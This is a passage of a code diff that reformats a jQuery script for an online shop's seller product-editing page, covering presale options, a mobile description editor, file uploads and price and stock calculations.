+        $('[virtual_type=' + virtual_type + ']').show();
+        if (!$('dl[ds_type="spec_dl"]').is(':hidden')) {
             $('[virtual_type][ds_type="no_spec"]').hide()
         }
     });
-    
+
     /* F码控制 */
-    $('[name="is_fc"]').change(function(){
+    $('[name="is_fc"]').change(function () {
         if ($('#is_goodsfcode_1').prop("checked")) {
             $('[dstype="fcode_valid"]').show();
         } else {
@@ -371,37 +371,37 @@ $(function(){
             $('#g_fcprefix').val('');
         }
     });
-    
+
     /* 预售控制 */
     // 预售--发货时间
-    $('#g_deliverdate').datepicker({dateFormat: 'yy-mm-dd', minDate: new Date()});
-    $('[name="is_presell"]').change(function(){
+    $('#g_deliverdate').datepicker({ dateFormat: 'yy-mm-dd', minDate: new Date() });
+    $('[name="is_presell"]').change(function () {
         if ($('#is_presell_1').prop("checked")) {
             $('[dstype="is_presell"]').show();
         } else {
             $('[dstype="is_presell"]').hide();
         }
     });
-    
+
     /* 预约预售控制 */
     // 预约--出售时间
-    $('#g_saledate').datepicker({dateFormat: 'yy-mm-dd', minDate: new Date()});
-    $('[name="is_appoint"]').change(function(){
+    $('#g_saledate').datepicker({ dateFormat: 'yy-mm-dd', minDate: new Date() });
+    $('[name="is_appoint"]').change(function () {
         if ($('#is_appoint_1').prop("checked")) {
             $('[dstype="is_appoint"]').show();
         } else {
             $('[dstype="is_appoint"]').hide();
         }
     });
-    
+
     /* 手机端 商品描述 */
     // 显示隐藏控制面板
-    $('div[dstype="mobile_pannel"]').on('click', '.module', function(){
+    $('div[dstype="mobile_pannel"]').on('click', '.module', function () {
         mbPannelInit();
         $(this).siblings().removeClass('current').end().addClass('current');
     });
     // 上移
-    $('div[dstype="mobile_pannel"]').on('click', '[dstype="mp_up"]', function(){
+    $('div[dstype="mobile_pannel"]').on('click', '[dstype="mp_up"]', function () {
         var _parents = $(this).parents('.module:first');
         _rs = mDataMove(_parents.index(), 0);
         if (!_rs) {
@@ -412,7 +412,7 @@ $(function(){
         mbPannelInit();
     });
     // 下移
-    $('div[dstype="mobile_pannel"]').on('click', '[dstype="mp_down"]', function(){
+    $('div[dstype="mobile_pannel"]').on('click', '[dstype="mp_down"]', function () {
         var _parents = $(this).parents('.module:first');
         _rs = mDataMove(_parents.index(), 1);
         if (!_rs) {
@@ -423,14 +423,14 @@ $(function(){
         mbPannelInit();
     });
     // 删除
-    $('div[dstype="mobile_pannel"]').on('click', '[dstype="mp_del"]', function(){
+    $('div[dstype="mobile_pannel"]').on('click', '[dstype="mp_del"]', function () {
         var _parents = $(this).parents('.module:first');
         mDataRemove(_parents.index());
         _parents.remove();
         mbPannelInit();
     });
     // 编辑
-    $('div[dstype="mobile_pannel"]').on('click', '[dstype="mp_edit"]', function(){
+    $('div[dstype="mobile_pannel"]').on('click', '[dstype="mp_edit"]', function () {
         $('a[dstype="meat_cancel"]').click();
         var _parents = $(this).parents('.module:first');
         var _val = _parents.find('.text-div').html();
@@ -447,15 +447,15 @@ $(function(){
                 allowed: 500,
                 warning: 50,
                 counterContainerID: 'meat_content_count',
-                firstCounterText:   '还可以输入',
-                endCounterText:     '字',
-                errorCounterText:   '已经超出'
+                firstCounterText: '还可以输入',
+                endCounterText: '字',
+                errorCounterText: '已经超出'
             });
     });
     // 编辑提交
-    $('div[dstype="mobile_pannel"]').on('click', '[dstype="meat_edit_submit"]', function(){
+    $('div[dstype="mobile_pannel"]').on('click', '[dstype="meat_edit_submit"]', function () {
         var _parents = $(this).parents('.module:first');
-        var _c = toTxt(_parents.find('textarea[dstype="meat_content"]').val().replace(/[\r\n]/g,''));
+        var _c = toTxt(_parents.find('textarea[dstype="meat_content"]').val().replace(/[\r\n]/g, ''));
         var _cl = _c.length;
         if (_cl == 0 || _cl > 500) {
             return false;
@@ -473,15 +473,15 @@ $(function(){
 
     });
     // 编辑关闭
-    $('div[dstype="mobile_pannel"]').on('click', '[dstype="meat_edit_cancel"]', function(){
+    $('div[dstype="mobile_pannel"]').on('click', '[dstype="meat_edit_cancel"]', function () {
         var _parents = $(this).parents('.module:first');
         var _c = _parents.find('textarea[dstype="meat_content"]').attr('data-old');
         _parents.html('').append('<div class="tools"><a dstype="mp_up" href="javascript:void(0);">上移</a><a dstype="mp_down" href="javascript:void(0);">下移</a><a dstype="mp_edit" href="javascript:void(0);">编辑</a><a dstype="mp_del" href="javascript:void(0);">删除</a></div>')
-        .append('<div class="content"><div class="text-div">' + _c + '</div></div>')
-        .append('<div class="cover"></div>');
+            .append('<div class="content"><div class="text-div">' + _c + '</div></div>')
+            .append('<div class="cover"></div>');
     });
     // 初始化控制面板
-    mbPannelInit = function(){
+    mbPannelInit = function () {
         $('div[dstype="mobile_pannel"]')
             .find('a[dstype^="mp_"]').show().end()
             .find('.module')
@@ -489,25 +489,26 @@ $(function(){
             .last().find('a[dstype="mp_down"]').hide();
     }
     // 添加文字按钮,显示文字输入框
-    $('a[dstype="mb_add_txt"]').click(function(){
+    $('a[dstype="mb_add_txt"]').click(function () {
         $('div[dstype="mea_txt"]').show();
         $('a[dstype="meai_cancel"]').click();
-    
-    $('div[dstype="mobile_editor_area"]').find('textarea[dstype="meat_content"]').unbind().charCount({
-        allowed: 500,
-        warning: 50,
-        counterContainerID: 'meat_content_count',
-        firstCounterText:   '还可以输入',
-        endCounterText:     '字',
-        errorCounterText:   '已经超出'
-    })});
+
+        $('div[dstype="mobile_editor_area"]').find('textarea[dstype="meat_content"]').unbind().charCount({
+            allowed: 500,
+            warning: 50,
+            counterContainerID: 'meat_content_count',
+            firstCounterText: '还可以输入',
+            endCounterText: '字',
+            errorCounterText: '已经超出'
+        })
+    });
     // 关闭 文字输入框按钮
-    $('a[dstype="meat_cancel"]').click(function(){
+    $('a[dstype="meat_cancel"]').click(function () {
         $(this).parents('div[dstype="mea_txt"]').find('textarea[dstype="meat_content"]').val('').end().hide();
     });
     // 提交 文字输入框按钮
-    $('a[dstype="meat_submit"]').click(function(){
-        var _c = toTxt($('textarea[dstype="meat_content"]').val().replace(/[\r\n]/g,''));
+    $('a[dstype="meat_submit"]').click(function () {
+        var _c = toTxt($('textarea[dstype="meat_content"]').val().replace(/[\r\n]/g, ''));
         var _cl = _c.length;
         if (_cl == 0 || _cl > 500) {
             return false;
@@ -523,20 +524,20 @@ $(function(){
             .append('<div class="tools"><a dstype="mp_up" href="javascript:void(0);">上移</a><a dstype="mp_down" href="javascript:void(0);">下移</a><a dstype="mp_edit" href="javascript:void(0);">编辑</a><a dstype="mp_del" href="javascript:void(0);">删除</a></div>')
             .append('<div class="content"><div class="text-div">' + _c + '</div></div>')
             .append('<div class="cover"></div>').appendTo('div[dstype="mobile_pannel"]');
-        
+
         $('a[dstype="meat_cancel"]').click();
     });
     // 添加图片按钮,显示图片空间文字
-    $('a[dstype="mb_add_img"]').click(function(){
+    $('a[dstype="mb_add_img"]').click(function () {
         $('a[dstype="meat_cancel"]').click();
-        $('div[dstype="mea_img"]').show().load(HOMESITEURL+'/Selleralbum/pic_list?item=mobile');
+        $('div[dstype="mea_img"]').show().load(HOMESITEURL + '/Selleralbum/pic_list?item=mobile');
     });
     // 关闭 图片选择
-    $('div[dstype="mobile_editor_area"]').on('click', 'a[dstype="meai_cancel"]', function(){
+    $('div[dstype="mobile_editor_area"]').on('click', 'a[dstype="meai_cancel"]', function () {
         $('div[dstype="mea_img"]').html('');
     });
     // 插图图片
-    insert_mobile_img = function(data){
+    insert_mobile_img = function (data) {
         _data = new Object;
         _data.type = 'image';
         _data.value = data;
@@ -548,15 +549,15 @@ $(function(){
             .append('<div class="tools"><a dstype="mp_up" href="javascript:void(0);">上移</a><a dstype="mp_down" href="javascript:void(0);">下移</a><a dstype="mp_rpl" href="javascript:void(0);">替换</a><a dstype="mp_del" href="javascript:void(0);">删除</a></div>')
             .append('<div class="content"><div class="image-div"><img src="' + data + '"></div></div>')
             .append('<div class="cover"></div>').appendTo('div[dstype="mobile_pannel"]');
-        
+
     }
     // 替换图片
-    $('div[dstype="mobile_pannel"]').on('click', 'a[dstype="mp_rpl"]', function(){
+    $('div[dstype="mobile_pannel"]').on('click', 'a[dstype="mp_rpl"]', function () {
         $('a[dstype="meat_cancel"]').click();
-        $('div[dstype="mea_img"]').show().load(HOMESITEURL+'/Selleralbum/pic_list.html?item=mobile&type=replace');
+        $('div[dstype="mea_img"]').show().load(HOMESITEURL + '/Selleralbum/pic_list.html?item=mobile&type=replace');
     });
     // 插图图片
-    replace_mobile_img = function(data){
+    replace_mobile_img = function (data) {
         var _parents = $('div.m-image.current');
         _parents.find('img').attr('src', data);
         _data = new Object;
@@ -565,14 +566,14 @@ $(function(){
         mDataReplace(_parents.index(), _data);
     }
     // 插入数据
-    mDataInsert = function(data){
+    mDataInsert = function (data) {
         _m_data = mDataGet();
         _m_data.push(data);
         return mDataSet(_m_data);
     }
     // 数据移动 
     // type 0上移  1下移
-    mDataMove = function(index, type) {
+    mDataMove = function (index, type) {
         _m_data = mDataGet();
         _data = _m_data.splice(index, 1);
         if (type) {
@@ -584,19 +585,19 @@ $(function(){
         return mDataSet(_m_data);
     }
     // 数据移除
-    mDataRemove = function(index){
+    mDataRemove = function (index) {
         _m_data = mDataGet();
         _m_data.splice(index, 1);     // 删除数据
         return mDataSet(_m_data);
     }
     // 替换数据
-    mDataReplace = function(index, data){
+    mDataReplace = function (index, data) {
         _m_data = mDataGet();
         _m_data.splice(index, 1, data);
         return mDataSet(_m_data);
     }
     // 获取数据
-    mDataGet = function(){
+    mDataGet = function () {
         _m_body = $('input[name="m_body"]').val();
         if (_m_body == '' || _m_body == 'false') {
             var _m_data = new Array;
@@ -606,24 +607,24 @@ $(function(){
         return _m_data;
     }
     // 设置数据
-    mDataSet = function(data){
+    mDataSet = function (data) {
         var _i_c = 0;
         var _i_c_m = 20;
         var _t_c = 0;
         var _t_c_m = 5000;
         var _sign = true;
-        $.each(data, function(i, n){
+        $.each(data, function (i, n) {
             if (n.type == 'image') {
                 _i_c += 1;
                 if (_i_c > _i_c_m) {
-                    alert('只能选择'+_i_c_m+'张图片');
+                    alert('只能选择' + _i_c_m + '张图片');
                     _sign = false;
                     return false;
                 }
             } else if (n.type == 'text') {
                 _t_c += n.value.length;
                 if (_t_c > _t_c_m) {
-                    alert('只能输入'+_t_c_m+'个字符');
+                    alert('只能输入' + _t_c_m + '个字符');
                     _sign = false;
                     return false;
                 }
@@ -639,37 +640,37 @@ $(function(){
         return true;
     }
     // 转码
-    toTxt = function(str) {
+    toTxt = function (str) {
         var RexStr = /\<|\>|\"|\'|\&|\\/g
-        str = str.replace(RexStr, function(MatchStr) {
+        str = str.replace(RexStr, function (MatchStr) {
             switch (MatchStr) {
-            case "<":
-                return "";
-                break;
-            case ">":
-                return "";
-                break;
-            case "\"":
-                return "";
-                break;
-            case "'":
-                return "";
-                break;
-            case "&":
-                return "";
-                break;
-            case "\\":
-                return "";
-                break;
-            default:
-                break;
+                case "<":
+                    return "";
+                    break;
+                case ">":
+                    return "";
+                    break;
+                case "\"":
+                    return "";
+                    break;
+                case "'":
+                    return "";
+                    break;
+                case "&":
+                    return "";
+                    break;
+                case "\\":
+                    return "";
+                    break;
+                default:
+                    break;
             }
         })
         return str;
     }
 });
 /* 资源上传 */
-function uploadResource(e,o) {
+function uploadResource(e, o) {
     var formData = new FormData();
     //文件
     formData.append('file', e.target.files[0]);
@@ -683,15 +684,15 @@ function uploadResource(e,o) {
         processData: false,
         success: function (data) {
             if (data.code == 10000) {
-                var html=''
-                html+='<div class="upload-file">'
-                html+='<span class="upload-file-name">'
-                html+=data.result.name
-                html+='</span>'
-                html+='<i class="upload-file-icon iconfont" onclick="delResource(this,\''+data.result.name+'\')">'
-                html+='&#xe696;'
-                html+='</i>'
-                html+='</div>'
+                var html = ''
+                html += '<div class="upload-file">'
+                html += '<span class="upload-file-name">'
+                html += data.result.name
+                html += '</span>'
+                html += '<i class="upload-file-icon iconfont" onclick="delResource(this,\'' + data.result.name + '\')">'
+                html += '&#xe696;'
+                html += '</i>'
+                html += '</div>'
                 $(o).parents('.upload-wrapper').find('input[type="hidden"]').val(data.result.name)
                 $(o).parents('.upload-wrapper').find('.dssc-upload-btn').hide()
                 $(o).parents('.upload-wrapper').find('.upload-file-wrapper').html(html)
@@ -702,46 +703,46 @@ function uploadResource(e,o) {
     })
 }
 
-function delResource(o,file_name){
-    $.getJSON(HOMESITEURL + '/SellerResource/del_resource.html', {file_name : file_name}, function(data){
-        if(data.code==10000){
+function delResource(o, file_name) {
+    $.getJSON(HOMESITEURL + '/SellerResource/del_resource.html', { file_name: file_name }, function (data) {
+        if (data.code == 10000) {
             $(o).parents('.upload-wrapper').find('.dssc-upload-btn').show()
             $(o).parents('.upload-wrapper').find('.upload-file-wrapper').html('')
-        }else{
+        } else {
             layer.msg(data.message)
         }
     })
 }
 
 // 计算商品库存
-function computeStock(){
+function computeStock() {
     // 库存
     var _stock = 0;
-    $('input[data_type="stock"]').each(function(){
-        if($(this).val() != ''){
+    $('input[data_type="stock"]').each(function () {
+        if ($(this).val() != '') {
             _stock += parseInt($(this).val());
         }
     });
     $('input[name="g_storage"]').val(_stock);
 }
 // 计算商品重量
-function computeWeight(){
+function computeWeight() {
     // 库存
     var _weight = parseFloat($('input[data_type="goods_weight"]').eq(0).val());
-    
-    $('input[name="goods_weight"]').val(isNaN(_weight)?'':_weight);
+
+    $('input[name="goods_weight"]').val(isNaN(_weight) ? '' : _weight);
 }
 // 计算价格
-function computePrice(){
+function computePrice() {
     // 计算最低价格
-    var _price = 0;var _price_sign = false;
-    $('input[data_type="price"]').each(function(){
-        if($(this).val() != '' && $(this)){
-            if(!_price_sign){
+    var _price = 0; var _price_sign = false;
+    $('input[data_type="price"]').each(function () {
+        if ($(this).val() != '' && $(this)) {
+            if (!_price_sign) {
                 _price = parseFloat($(this).val());
                 _price_sign = true;
-            }else{
-                _price = (parseFloat($(this).val())  > _price) ? _price : parseFloat($(this).val());
+            } else {
+                _price = (parseFloat($(this).val()) > _price) ? _price : parseFloat($(this).val());
             }
         }
     });
@@ -754,8 +755,8 @@ function computePrice(){
 function discountCalculator() {
     var _price = parseFloat($('input[name="g_price"]').val());
     var _marketprice = parseFloat($('input[name="g_marketprice"]').val());
-    if((!isNaN(_price) && _price != 0) && (!isNaN(_marketprice) && _marketprice != 0)){
-        var _discount = parseInt(_price/_marketprice*100);
+    if ((!isNaN(_price) && _price != 0) && (!isNaN(_marketprice) && _marketprice != 0)) {
+        var _discount = parseInt(_price / _marketprice * 100);
         $('input[name="g_discount"]').val(_discount);
     }
 }
@@ -766,44 +767,44 @@ function getBrandName() {
     $('input[name="b_name"]').val(brand_name);
 }
 //修改相关的颜色名称
-function change_img_name(Obj){
-     var S = Obj.parents('li').find('input[type="checkbox"]');
-     S.val(Obj.val());
-     var V = $('tr[dstype="file_tr_'+S.attr('ds_type')+'"]');
-     V.find('span[dstype="pv_name"]').html(Obj.val());
-     V.find('input[type="file"]').attr('name', Obj.val());
+function change_img_name(Obj) {
+    var S = Obj.parents('li').find('input[type="checkbox"]');
+    S.val(Obj.val());
+    var V = $('tr[dstype="file_tr_' + S.attr('ds_type') + '"]');
+    V.find('span[dstype="pv_name"]').html(Obj.val());
+    V.find('input[type="file"]').attr('name', Obj.val());
 }
 // 商品属性
-function attr_selected(){
-    $('select[ds_type="attr_select"] option:selected').each(function(){
+function attr_selected() {
+    $('select[ds_type="attr_select"] option:selected').each(function () {
         id = $(this).attr('ds_type');
-        name = $(this).parents('select').attr('attr').replace(/__NC__/g,id);
-        $(this).parents('select').attr('name',name);
+        name = $(this).parents('select').attr('attr').replace(/__NC__/g, id);
+        $(this).parents('select').attr('name', name);
     });
 }
 // 验证店铺分类是否重复
 function checkSGC($val) {
     var _return = true;
-    $('.sgcategory').each(function(){
-        if ($val !=0 && $val == $(this).val()) {
+    $('.sgcategory').each(function () {
+        if ($val != 0 && $val == $(this).val()) {
             _return = false;
         }
     });
     return _return;
-} 
+}
 /* 插入商品图片 */
 function insert_img(name, src) {
     $('input[dstype="goods_image"]').val(name);
-    $('img[dstype="goods_image"]').attr('src',src);
+    $('img[dstype="goods_image"]').attr('src', src);
 }
 /* 插入商品视频 */
 function insert_video(name, src) {
     $('input[dstype="goodsvideo_name"]').val(name);
-    $('video[dstype="goodsvideo_name"]').attr('src',src);
+    $('video[dstype="goodsvideo_name"]').attr('src', src);
 }
 /* 插入编辑器 */
 function insert_editor(file_path) {
-    ue.execCommand('insertimage', {src:file_path});
+    ue.execCommand('insertimage', { src: file_path });
 }
 
 function setArea(area1, area2) {
@@ -822,7 +823,7 @@ function insertBrand(param, search) {
         $('div[dstype="noBrandList"]').show().find('strong').html(search);
         return false;
     }
-    $.each(param, function(i, n){
+    $.each(param, function (i, n) {
         $('<li data-id="' + n.brand_id + '" data-name="' + n.brand_name + '"><em>' + n.brand_initial + '</em>' + n.brand_name + '</li>').appendTo(_ul);
     });